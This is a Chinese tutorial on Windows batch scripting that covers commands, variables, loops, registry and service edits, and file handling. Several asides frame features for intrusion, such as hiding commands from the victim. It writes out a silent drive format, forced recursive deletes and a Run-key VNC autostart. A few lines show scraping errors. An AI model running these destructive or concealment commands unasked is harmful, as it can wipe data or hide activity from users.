1. 程式人生 > >windows下Bat命令學習

windows下Bat命令學習

一、基礎語法:
1.批處理檔案是一個“.bat”結尾的文字檔案,這個檔案的每一行都是一條DOS命令。可以使用任何文字檔案編輯工具建立和修改。
2.批處理是一種簡單的程式,可以用 if 和 goto 來控制流程,也可以使用 for 迴圈。
3.批處理的程式設計能力遠不如C語言等程式語言,也十分不規範。
4.每個編寫好的批處理檔案都相當於一個DOS的外部命令,把它所在的目錄放到DOS搜尋路徑(path)中,即可在任意位置執行。
5.C:\AUTOEXEC.BAT 是每次系統啟動時都會自動執行的,可以將每次啟動時都要執行的命令放入該檔案中。
6.大小寫不敏感(命令符忽略大小寫)
7.批處理的副檔名為 .bat 或 .cmd。
8.在命令提示下鍵入批處理檔案的名稱,或者雙擊該批處理檔案,系統就會呼叫Cmd.exe來執行該檔案。


二、引數:
1) 系統引數
複製程式碼
複製程式碼
%SystemRoot% === C:\WINDOWS (%windir% 同樣)
%ProgramFiles% === C:\Program Files
%USERPROFILE% === C:\Documents and Settings\Administrator (子目錄有“桌面”,“開始選單”,“收藏夾”等)
%APPDATA% === C:\Documents and Settings\Administrator\Application Data
%TEMP% === C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 同樣)
%APPDATA% === C:\Documents and Settings\Administrator\Application Data
%OS% === Windows_NT (系統)
%Path% === %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem (原本的設定)
%HOMEDRIVE% === C: (系統盤)
%HOMEPATH% === \Documents and Settings\Administrator

:: 列舉當前的環境變數
setlocal enabledelayedexpansion
FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i !%%i!
複製程式碼


複製程式碼



2) 傳遞引數給批處理檔案
%[1-9]表示引數,引數是指在執行批處理檔案時在檔名後加的以空格(或者Tab)分隔的字串。
變數可以從%0到%9,%0表示批處理命令本身,其它引數字串用 %1 到 %9 順序表示。
複製程式碼
Sample:
call test2.bat "hello" "haha" (執行同目錄下的“test2.bat”檔案,並輸入兩個引數)
在“test2.bat”檔案裡寫:
echo %1 (列印: "hello")
echo %2 (列印: "haha")
echo %0 (列印: test2.bat)
echo %19 (列印: "hello"9)
複製程式碼
三、批處理基本命令
0. help 命令
/? 命令
語法: 命令 /?
可顯示此命令的幫助資訊
Sample: type /? >>tmp.txt (把 type 命令的幫助資訊寫入到tmp.txt檔案裡)
Sample: help type (顯示跟“type /?”一樣)



1.Echo 命令
語法: echo [{on|off}] [message]
ECHO [ON | OFF] 打開回顯或關閉回顯功能。
ECHO 顯示當前回顯設定。
ECHO [message] 顯示資訊。
echo off 表示在此語句後所有執行的命令都不顯示命令列本身;預設是on,on時會顯示如: C:\資料夾路徑>命令列。
在實際應用中我們會把這條命令和重定向符號( 也稱為管道符號,一般用 > >> ^ )結合來實現輸入一些命令到特定格式的檔案中。
Sample: echo off
Sample: echo hello world (顯示出“hello world”)
Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg (此前還沒有 setupreg.reg 這個檔案)
Sample: echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg (追加內容進 setupreg.reg 這個檔案)

[email protected]
命令
表示不顯示@後面的命令,(在入侵過程中自然不能讓對方看到你使用的命令啦)
@ 與 echo off 相象,但它是加在每個命令列的最前面,表示執行時不顯示這一行的命令列(只能影響當前行)。
Sample: @echo off (此語句常用於開頭,表示不顯示所有的命令列資訊,包括此句)
Sample: @echo please wait a minite...
Sample: @format X: /q/u/autoset
(format 這個命令是不可以使用/y這個引數的,可喜的是微軟留了個autoset這個引數給我們,效果和/y是一樣的。)

3.Goto 命令
語法:goto label (label是引數,指定所要轉向的批處理程式中的行。)
指定跳轉到標籤行,找到標籤行後,程式將處理從下一行開始的命令。
label標籤的名字可以隨便起,但是最好是有意義的,字母前必須加個冒號“:”來表示這個字母是標籤。
goto命令就是根據這個冒號來尋找下一步跳到到那裡。經常與 if 配合使用,根據不同的條件來執行不同的命令組。
例題見“5.Pause 命令”

4.Rem 命令
語法:Rem Message...
(小技巧:用::代替rem)
註釋命令,在C語言中相當與/*...*/,它並不會被執行,只是起一個註釋的作用,便於別人閱讀和自己日後修改。
Sample:@Rem Here is the description.

5.Pause 命令
會暫停批處理的執行並在螢幕上顯示Press any key to continue...的提示,等待使用者按任意鍵後繼續
複製程式碼
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
複製程式碼
在這個例子中,驅動器 A 中磁碟上的所有檔案均複製到d:\back中。
顯示的資訊提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程式掛起,以便您更換磁碟,然後按任意鍵再次複製。

6.Call 命令
語法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
引數: [Drive:][Path] FileName 指定要呼叫的批處理程式的位置和名稱。filename 引數必須具有 .bat 或 .cmd 副檔名。
呼叫另一個批處理程式,並且不終止父批處理程式。
如果不用call而直接呼叫別的批處理檔案,那麼執行完那個批處理檔案後將無法返回當前檔案並執行當前檔案的後續命令。
call 命令接受用作呼叫目標的標籤。如果在指令碼或批處理檔案外使用 Call,它將不會在命令列起作用。
Sample:call="%cd%\test2.bat" haha kkk aaa (呼叫指定目錄下的 test2.bat,且輸入3個引數給他)
Sample:call test2.bat arg1 arg2 (呼叫同目錄下的 test2.bat,且輸入2個引數給他)
注:可以呼叫自身(死迴圈、遞迴)

7.start 命令
呼叫外部程式,所有的 DOS命令 和 命令列程式 都可以由 start命令 來呼叫。
入侵常用引數:
MIN 開始時視窗最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程式
HIGH 在 HIGH 優先順序類別開始應用程式
REALTIME 在 REALTIME 優先順序類別開始應用程式
WAIT 啟動應用程式並等候它結束
parameters 這些為傳送到命令/程式的引數
Sample:start /MIN test2.bat arg1 arg2 (呼叫同目錄下的 test2.bat,且輸入2個引數給他,且本視窗最小化)
Sample:e:\"program files"\極品列車時刻表\jpskb.exe (檔案路徑名有空格時)

8.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。有三種格式:
1) IF
語法: if [not] "引數" == "字串" 待執行的命令
引數如果等於(not表示不等,下同)指定的字串,則條件成立,執行命令,否則執行下一句。(注意是兩個等號)
Sample: if "%1" == "a" format a:
Sample: if {%1} == {} goto noparms

2) if exist
語法: if [not] exist [路徑\]檔名 待執行的命令
如果有指定的檔案,則條件成立,執行命令,否則執行下一句。
Sample: if exist config.sys edit config.sys (表示如果存在這檔案,則編輯它,用很難看的系統編輯器)
Sample: if exist config.sys type config.sys (表示如果存在這檔案,則顯示它的內容)

3) if errorlevel number
語法: if [not] errorlevel <數字> 待執行的命令
如果程式返回值等於指定的數字,則條件成立,執行命令,否則執行下一句。(返回值必須按照從大到小的順序排列)
Sample:
@echo off
XCOPY F:\test.bat D:\
IF ERRORLEVEL 1 (ECHO 檔案拷貝失敗
) Else IF ERRORLEVEL 0 ECHO 成功拷貝檔案
pause

很多DOS程式在執行結束後會返回一個數字值用來表示程式執行的結果(或者狀態),稱為錯誤碼errorlevel或稱返回碼。
常見的返回碼為0、1。通過if errorlevel命令可以判斷程式的返回值,根據不同的返回值來決定執行不同的命令。
4) else
語法: if 條件 (成立時執行的命令) else (不成立時執行的命令)
如果是多個條件,建議適當使用括號把各條件包起來,以免出錯。
Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )
注:如果 else 的語句需要換行,if 執行的行尾需用“^”連線,並且 if 執行的動作需用(括起來),否則報錯
Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^
else (echo comment3 )

5) 比較運算子:
EQU - 等於 (一般使用“==”)
NEQ - 不等於 (沒有 “!=”,改用“ if not 1==1 ”的寫法)
LSS - 小於
LEQ - 小於或等於
GTR - 大於
GEQ - 大於或等於


9.choice 命令
choice 使用此命令可以讓使用者輸入一個字元(用於選擇),從而根據使用者的選擇返回不同的 errorlevel,
然後配合 if errorlevel 選擇執行不同的命令。
注意:choice命令為DOS或者Windows系統提供的外部命令,不同版本的choice命令語法會稍有不同,請用choice /?檢視用法。
choice 使用此命令可以讓使用者輸入一個字元,從而執行不同的命令。
使用時應該加/c:引數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
複製程式碼
Sample: choice /c:dme defrag,mem,end
將顯示: defrag,mem,end[D,M,E]?
Sample:
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
複製程式碼


10.for 命令
for 命令是一個比較複雜的命令,主要用於引數在指定的範圍內迴圈執行命令。
1) for {%variable | %%variable} in (set) do command [command-parameters]
%variable 指定一個單一字母可替換的引數。變數名稱是區分大小寫的,所以 %i 不同於 %I
在批處理檔案中使用 FOR 命令時,指定變數建議用 %%variable而不要用 %variable。
(set) 指定一個或一組檔案。可以使用萬用字元。
command 指定對每個檔案執行的命令。
command-parameters 為特定命令指定引數或命令列開關。
2) 如果命令副檔名被啟用,下列額外的 FOR 命令格式會受到支援:
a.FOR /D %variable IN (set) DO command [command-parameters]
如果集裡面包含萬用字元,則指定與目錄名匹配,而不與檔名匹配。
b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。
如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字元,則列舉該目錄樹。
c.FOR /L %variable IN (start,step,end) DO command [command-parameters]
該集表示以增量形式從開始到結束的一個數字序列。
如:(1,1,5) 將產生序列 1 2 3 4 5; 而(5,-1,1) 將產生序列 (5 4 3 2 1)。
d.有或者沒有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
引數"options"為:
eol=c - 指一個行註釋字元的結尾(就一個,如“;”)
skip=n - 指在檔案開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的分配。
m-n格式為一個範圍。通過 nth 符號指定 mth。
如果符號字串中的最後一個字元星號,那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文字。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字串並且一個單引號字元為文字字串命令並允許在 filenameset中使用雙引號擴起檔名稱。
3) Sample:
1. 如下命令列會顯示當前目錄下所有以bat或者txt為副檔名的檔名。
for %%c in (*.bat *.txt) do (echo %%c)
a. 如下命令列會顯示當前目錄下所有包含有 e 或者 i 的目錄名。
for /D %%a in (*e* *i*) do echo %%a
b. 如下命令列會顯示 E盤test目錄 下所有以bat或者txt為副檔名的檔名。
for /R E:\test %%b in (*.txt *.bat) do echo %%b
for /r %%c in (*) do (echo %%c) :: 遍歷當前目錄下所有檔案
c. 如下命令列將產生序列 1 2 3 4 5
for /L %%c in (1,1,5) do echo %%c
d. 以下兩句,顯示當前的年月日和時間
For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日
For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j時%%k分
e. 把記事本中的內容每一行前面去掉8個字元
setlocal enabledelayedexpansion
for /f %%i in (zhidian.txt) do (
set atmp=%%i
set atmp=!atmp:~8!
if {!atmp!}=={} ( echo.) else echo !atmp!
)
:: 讀取記事本里的內容(使用 delims 是為了把一行顯示全,否則會以空格為分隔符)
for /f "delims=" %%a in (zhidian.txt) do echo.%%a
4) continue 和 break
利用 goto 實現程式中常用的 continue 和 break 命令, 其實非常簡單
continue: 在 for 迴圈的最後一行寫上一個標籤,跳轉到這位置即可
break: 在 for 迴圈的外面的下一句寫上一個標籤,跳轉到這位置即可
Sample: (虛擬碼)
for /F ["options"] %variable IN (command) DO (
... do command ...
if ... goto continue
if ... goto break
... do command ...
:continue
)
:break


四、其它命令
1. ping 命令
測試網路聯接狀況以及資訊包傳送和接收狀況。但是不能夠測試埠。
語法:ping IP地址或主機名 [-t] [-a] [-n count] [-l size]
引數含義:
-t 不停地向目標主機發送資料;
-a 以IP地址格式來顯示目標主機的網路地址;
-n count 指定要Ping多少次,具體次數由count來指定;
-l size 指定傳送到目標主機的資料包的大小。
Sample: ping 192.168.0.1 -t (不停的測試192.168.0.1,按ctrl+c停止)
Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >> tmp.txt (ping一下所有的區域網電腦)

2. telnet 命令
測試埠使用 telnet IP地址或主機名 埠,使用tcp協議的
Sample: telnet 192.168.0.1 80 (測試192.168.0.1的80埠)

3.color 命令
設定背景及字型顏色
語法: color bf
b 是指定背景色的十六進位制數字; f 指定前景顏色(即字型顏色)。
顏色值: 0:黑色 1:藍色 2:綠色 3:湖藍 4:紅色 5:紫色 6:黃色 7:白色
8:灰色 9:淡藍 A:淡綠 B:淺綠 C:淡紅 D:淡紫 E:淡黃 F:亮白
如果沒有給定任何引數,該命令會將顏色還原到 CMD.EXE 啟動時的顏色。
如果兩引數一樣,視為無效輸入。只有一個引數時,設定字型。

4. random 命令
產生隨機數(正整數0~)

5. exit 命令
結束程式。即時是被呼叫的程式,結束後也不會返回原程式

6. shutdown命令
shutdown -s 關機


10. 所有內建命令的幫助資訊
ver /?
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?


五、字串處理
1) 分割字串,以檢視時間為例
%源字串:~起始值,擷取長度% (起始值從0開始;擷取長度是可選的,如果省略逗號和擷取長度,將會從起始值擷取到結尾;
擷取長度如果是負數,表示擷取到倒數第幾個。)
"%time%" 顯示如:"11:04:23.03" (完整的時間"hh:mm:ss.tt")
"%time:~0,5%" 顯示"hh:mm"(即"11:04"),其中0表示從右向左移位操作的個數,5表示從左向右移位操作的個數
"%time:~0,8%" 顯示標準時間格式"hh:mm:ss"(即"11:04:23",前8個字串)
"%time:~3,-3%"顯示"mm:ss"(即從第4個開始,截去最後3個的字串)
"%time:~3%" 顯示"04:23.03"(即去掉前4個字串)
"%time:~-3%" 顯示".tt"(即最後3個字串)
上面的字串分割格式,也可以用於其它地方,如目錄路徑:"%cd:~0,10%"

2) 替換字串
set a="abcd1234"
echo %a% 顯示:"abcd1234"
set a=%a:1=kk% 替換“1”為“kk”
echo %a% 顯示:"abcdkk234"


3) 字串合併
由於沒有直接的字串合併函式,只能用笨方法了。
set str1=%str1%%str2% (合併 str1 和 str2)

4) 計算字串長度
複製程式碼
沒有現成的函式。如下程式利用 goto形成迴圈,不斷將字串截短1,並記錄截短的次數,到字串變成空時的次數即長度。
set testStr=This is a test string
:: 將 testStr 複製到str,str 是個臨時字串
set str=%testStr%
:: 標籤,用於goto跳轉
:next1
:: 判斷str是不是空,如果不是則執行下邊的語句
if not "%str%"=="" (
:: 算術運算,使num的值自增1,相當於num++或者++num語句
set /a num+=1
:: 擷取字串,每次截短1
set "str=%str:~1%"
:: 跳轉到next1標籤: 這裡利用goto和標籤,構成迴圈結構
goto next1
)
:: 當以上迴圈結構執行完畢時,會執行下邊的語句
echo testStr=%testStr%
echo testStr的長度為:%num%
複製程式碼

5) 擷取字串時,需要傳遞引數
直接 echo %args:~%num%,-5% 沒辦法想要的字串,需要如下兩步
setlocal enabledelayedexpansion
echo !args:~%num%,-5!

六、登錄檔操作
1) 備份登錄檔,將[HKEY_LOCAL_MACHINE ... Run]的內容,備份到“c:\windows\1.reg”
reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c:\windows\1.reg
reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run c:\windows\2.reg

2) 修改/添加註冊表內容
a.一般的新增或修改
reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f
上句解析:“HKCU”是“HKEY_CURRENT_USER”的縮寫,不用縮寫用全稱也可以;
新增名稱為“Java_Home”的變數;型別為“reg_sz”,另一種常見型別是“reg_dword”;值為 D:\Java\jdk1.6.0_07;

b.使用變數
set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java
reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f

c.如果登錄檔的名稱有空格,或者資料用特殊符號時
reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f
傳入值為(值用雙引號括起來的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"
reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f
傳入值為(“\”結尾的): E:\Holemar\1.notes\90. Windows\Resource Files\Report Templates\

d.增加空的內容
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"

e.新增或修改預設值
reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f
這裡用“/ve”來代替一般修改時的“/v 變數名”,即可修改預設值了

3) 刪除登錄檔的內容
雙引號裡面的是登錄檔的目錄,下面兩句將刪除這目錄下的所有資訊
reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f
雙引號裡面的是登錄檔的目錄,下面一句將刪除這目錄下指定的某個資訊
reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f

4) 登錄檔的常用位置
a.系統啟動項:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f

b.系統環境變數:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]
c.當前使用者的環境變數:
[HKEY_CURRENT_USER\Environment]
5) 修改登錄檔之後,結束並重新載入explorer.exe程序,可重新整理登錄檔,令其生效
taskkill /f /im explorer.exe >nul
start "" "explorer.exe"



七、系統服務
1) 停止服務:NET STOP 服務名
啟動服務:NET Start 服務名
2) 設定啟動型別
自動: SC CONFIG 服務名 START= auto
手動: SC CONFIG 服務名 START= demand
已禁用:SC CONFIG 服務名 START= disabled
附:“START= ”等號後面必須要有一個空格。(start還有boot,system兩個值)
Sample: SC CONFIG Spooler START= demand (印表機載入項,設定成手動,預設自動)
3) 檢視系統服務:start %SystemRoot%\system32\services.msc /s

八、setlocal與變數延遲
0) 在沒有開啟變數延遲的情況下,某條命令列中的變數改變,必須到下一條命令才能體現。
另外例如for命令等,其後用一對圓括號閉合的所有語句也當作一行。
example:
set a=4
set a=5 & echo %a%
結果:4
也可以對這種機制加以利用,如下的變數交換
example:
set var1=abc
set var2=123
echo 交換前: var1=%var1% var2=%var2%
set var1=%var2%& set var2=%var1%
echo 交換後: var1=%var1% var2=%var2%
1) 啟動批處理檔案中環境變數的本地化。本地化將持續到出現匹配的 endlocal 命令或者到達批處理檔案結尾為止。
語法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}
enableextension: 啟用命令擴充套件,直到出現匹配的 endlocal 命令,無論 setlocal 命令之前的設定如何。
disableextensions: 禁用命令擴充套件,直到出現匹配的 endlocal 命令,無論 setlocal 命令之前的設定如何。
enabledelayedexpansion: 啟用延遲的環境變數擴充套件,直到出現匹配的 endlocal 命令,無論 setlocal 命令之前的設定如何。
disabledelayedexpansion: 禁用延遲的環境變數擴充套件,直到出現匹配的 endlocal 命令,無論 setlocal 命令之前的設定如何。

2) 為了能夠感知環境變數的動態變化,批處理設計了變數延遲。簡單來說,在讀取了一條完整的語句之後,不立即對該行的變數賦值,而會在某個單條語句執行之前再進行賦值,也就是說“延遲”了對變數的賦值。
examle:
setlocal enabledelayedexpansion
set a=4
set a=5 & echo !a!
結果: 5
變數延遲的啟動語句是“setlocal enabledelayedexpansion”,並且變數要用一對歎號“!!”括起來
由於啟動了變數延遲,所以批處理能夠感知到動態變化,即不是先給該行變數賦值,而是在執行過程中給變數賦值,因此此時a的值就是5了
另外,啟動變數延遲,“%”的變數還是不變
example2:
setlocal enabledelayedexpansion
for /l %%i in (1,1,5) do (
set a=%%i
echo !a!
)
結果,列印從1到5;如果不變數延遲,一個變數也沒有列印


九、檔案處理
1.刪除
1) 刪除一個檔案或多個檔案
del /s /q /f d:\test\a.bat
將直接刪除d:\test\a.bat,沒有任務提示
del temp\* /q /f /s
將直接刪除 本目錄的 temp 目錄的所有檔案,沒有任務提示
刪除檔案的時候可以使用“*”作萬用字元
2) 刪除一個空目錄
rd /q /s d:\test\log
將直接刪除d:\test\log目錄,如果log目錄裡面有檔案將無法刪除
3) 刪除一個非空目錄 (必須指定目錄名稱)
rmdir /q /s d:\test\logs
必須指定目錄名稱,不能使用萬用字元
/S 除目錄本身外,還將刪除指定目錄下的所有子目錄
/Q 安靜模式,帶 /S 刪除目錄樹時不要求確認
無論裡面是否有檔案或資料夾將全部直接刪除
2.建立目錄
MKDIR [drive:]path
MD [drive:]path
路徑有空格時,可以用雙引號括起來,也可以用   替代








實踐部分:
======================================================================

一、小摘錄:
1. 呼叫其他程式時,對檔案的大小寫不敏感,檔案字尾也可忽略
如:start LeapFTP.exe 與 start leapftp 效果一樣,都是執行“LeapFTP.exe”檔案
每行的開頭的字串會自動查詢程式來執行,還可用雙引號引起來(檔名或目錄名含空格時必須用)
如:"D:\Program Files\Leap FTP.exe"
"LeapFTP.exe" 可正常執行檔案,start "" "LeapFTP.exe" 也可以正常執行檔案(注意,第一個引數是視窗顯示的標題)
3. copy C:\test\*.* D:\back (複製C盤test資料夾的所有檔案(不包括資料夾及子資料夾裡的東西)到D盤的back資料夾)
4. dir c:\*.* > a.txt (將c盤檔案列表寫入 a.txt 中)
5. > 生成檔案並寫入內容(如果有這檔案則覆蓋), >> 檔案裡追加內容
6. md d:\aa (建立資料夾)
7. 在命令末尾加上“>NUL 2>NUL”,表示隱蔽返回資訊。
8. 等待使用者輸入: set /p 變數名=螢幕顯示資訊。 Sample:set /p pass=請輸入密碼:
9. 讓使用者按回車退出
小技巧(替代pause),檔案的最後一句:set /p tmp=操作結束,請按回車鍵退出...
10.設定標題: title JDK安裝
11.設定螢幕顯示顏色,如綠色: color 0a
12.清屏: cls
13.檢視自己的IP:
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
echo %ip% (這時的 %ip% 就是自己的IP地址)

14. 修改檔案的更新日期
copy 檔名+,,>nul (修改為當前時間,如果要修改為指定時間,先修改系統時間,再改回系統時間)
15. 修改檔案的字尾名
ren C:\test\*.jpg *.JPG
for /r %%c in (*.jpg) do (ren %%c *.JPG) :: 修改當前目錄下的所有檔案的字尾名,包括子目錄的
16. 修改檔案的檔名
rename test.jpg test2.JPG
rename *.jpg *.888.JPG
17. 檢視DNS、IP、Mac等
1) Win98: winipcfg
2) Win2000以上: Ipconfig /all
3) NSLOOKUP
18.檢視IP上的共享資源,就可以
net view 192.168.10.8
19.共享
A.檢視你機器的共享資源: net share
B.手工刪除共享
net share 共享資源名稱$ /d
注意$後有空格。
C.增加一個共享:
net share mymovie=e:\downloads\movie /users:3
mymovie 共享成功。 同時限制連結使用者數為3人。
20.開啟某網站
start iexplore.exe http://www.baidu.com


二、例項:
1. 生成 reg 檔案,執行它,再刪除它
echo "更改windows安裝檔案的路徑"
echo Windows Registry Editor Version 5.00 > c:\setupreg.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] >> c:\setupreg.reg
echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
:: 寫入登錄檔
regedit /S c:\setupreg.reg
:: 刪除登錄檔檔案
del c:\setupreg.reg

2.呼叫了exe檔案,結束後沒有關閉,解決方式
用start命令執行檔案,如:
start LeapFTP.exe 192.168.0.100

3.設定系統環境變數
:: 有這個環境變數,則不需再設定,直接結束
if not "%JAVA_HOME%" == "" exit
:: 設定環境變數的地址
set inputJavaHome=%cd%\jdk1.6.0_07
:: 設定環境變數,也可以設定當前使用者的變數
set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
echo 正在設定環境變數,請稍候......
reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f
reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f
reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\bin;%Path%" /f]
:: 重新整理,令環境變數生效
taskkill /f /im explorer.exe >nul
start "" "explorer.exe"

4.隱藏某目錄的所有檔案及資料夾
cd /d 要隱藏的目錄(如:D:)
for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)

5.在批處理中使用密碼。密碼為admin,輸入正確,跳轉到next1 ,若輸入密碼錯誤3次,則鎖屏。。
@echo off
set num=0
:11
set /p pass=請輸入密碼:
if "%pass%"=="admin" goto next1
set /a num=%num% + 1
if %num%==3 goto no1
goto 11
:no1
%windir%\system32\rundll32.exe user32.dll,LockWorkStation
goto 11
:next1
echo 密碼正確,執行下面的程式
pause

6.清空回收站(未成功)
@echo off
del /f /s /q c:\recycler\*.*
::重新整理螢幕
taskkill /f /im explorer.exe >nul
start "" "explorer.exe"

7.讓系統斷斷續續地鳴叫
@echo off
:begin
:: 發出鳴叫(“”實際就是ASCII碼值為7的特殊字元(蜂鳴鍵beep)
echo
:: 讓程式暫停一小陣子
ping -n 1 -l 1 127.1>nul
goto :begin

8.將 FAT 卷轉換成 NTFS
利用“CONVERT.exe”進行,解析如下:
CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]
volume 指定驅動器號(後面跟一個冒號)、裝載點或卷名。
/FS:NTFS 指定要被轉換成 NTFS 的卷。
/V 指定 Convert 應該用詳述模式執行。
/CvtArea:filename
將根目錄中的一個接續檔案指定為NTFS 系統檔案的佔位符。
/NoSecurity 指定每個人都可以訪問轉換的檔案和目錄的安全設定。
/X 如果必要,先強行解除安裝卷。該卷的所有開啟的控制代碼則無效。

程式如下:
@ ECHO OFF
@ ECHO.
@ ECHO. 說 明
@ ECHO --------------------------------------------------------------------------
@ ECHO NTFS是一種磁碟格式。該格式能存放大於4G的單個檔案(如高清電影檔案),並可對
@ ECHO 資料夾進行加密,但有個缺點是DOS下無法訪問。建議D盤及其後的盤使用NTFS格式,
@ ECHO C盤如非必要可以不轉換,FAT32與NTFS這兩種格式的讀寫速度幾乎是沒有差別的。
@ ECHO --------------------------------------------------------------------------
@ ECHO.
convert c: /fs:ntfs
:: D盤也轉成 NTFS
convert d: /fs:ntfs

9. 獲取我的文件
SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J"
:: 複製檔案到我的文件
XCOPY /D /E /R /Y /C "%cd%\test.txt" "%myDoc%\test\"








==========================================
例項:
3.IF-ERRORLEVEL
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 檔案拷貝失敗
IF ERRORLEVEL 0 ECHO 成功拷貝檔案

如果檔案拷貝成功,螢幕就會顯示“成功拷貝檔案”,否則就會顯示“檔案拷貝失敗”。
IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。因此下面的批處理檔案是錯誤的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
CHO 成功拷貝檔案
IF ERRORLEVEL 1 ECHO 未找到拷貝檔案
IF ERRORLEVEL 2 ECHO 使用者通過ctrl-c中止拷貝操作
IF ERRORLEVEL 3 ECHO 預置錯誤阻止檔案拷貝操作
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤
無論拷貝是否成功,後面的:
未找到拷貝檔案
使用者通過ctrl-c中止拷貝操作
預置錯誤阻止檔案拷貝操作
拷貝過程中寫盤錯誤
都將顯示出來。

以下就是幾個常用命令的返回值及其代表的意義:
backup
0 備份成功
1 未找到備份檔案
2 檔案共享衝突阻止備份完成
3 使用者用ctrl-c中止備份
4 由於致命的錯誤使備份操作中止
diskcomp
0 盤比較相同
1 盤比較不同
2 使用者通過ctrl-c中止比較操作
3 由於致命的錯誤使比較操作中止
4 預置錯誤中止比較
diskcopy
0 盤拷貝操作成功
1 非致命盤讀/寫錯
2 使用者通過ctrl-c結束拷貝操作
3 因致命的處理錯誤使盤拷貝中止
4 預置錯誤阻止拷貝操作
format
0 格式化成功
3 使用者通過ctrl-c中止格式化處理
4 因致命的處理錯誤使格式化中止
5 在提示“proceed with format(y/n)?”下使用者鍵入n結束
xcopy
0 成功拷貝檔案
1 未找到拷貝檔案
2 使用者通過ctrl-c中止拷貝操作
4 預置錯誤阻止檔案拷貝操作
5 拷貝過程中寫盤錯誤


=============================================================
@echo off //不顯示shell的命令。
Setlocal //環境改變只適用於這個檔案。
%OS% //為當前的作業系統。
Rem //註釋一行文字。
Goto 標籤 //改變執行順序,去標籤位置.
:標籤 //定義一個標籤。
Set 變數名=值 //定義變數
Not //取反
Netstat –na //顯示當前被點用的埠.
%0 %1 %2 //用於表示批處理檔案的引數0為命令,共1-9個引數。
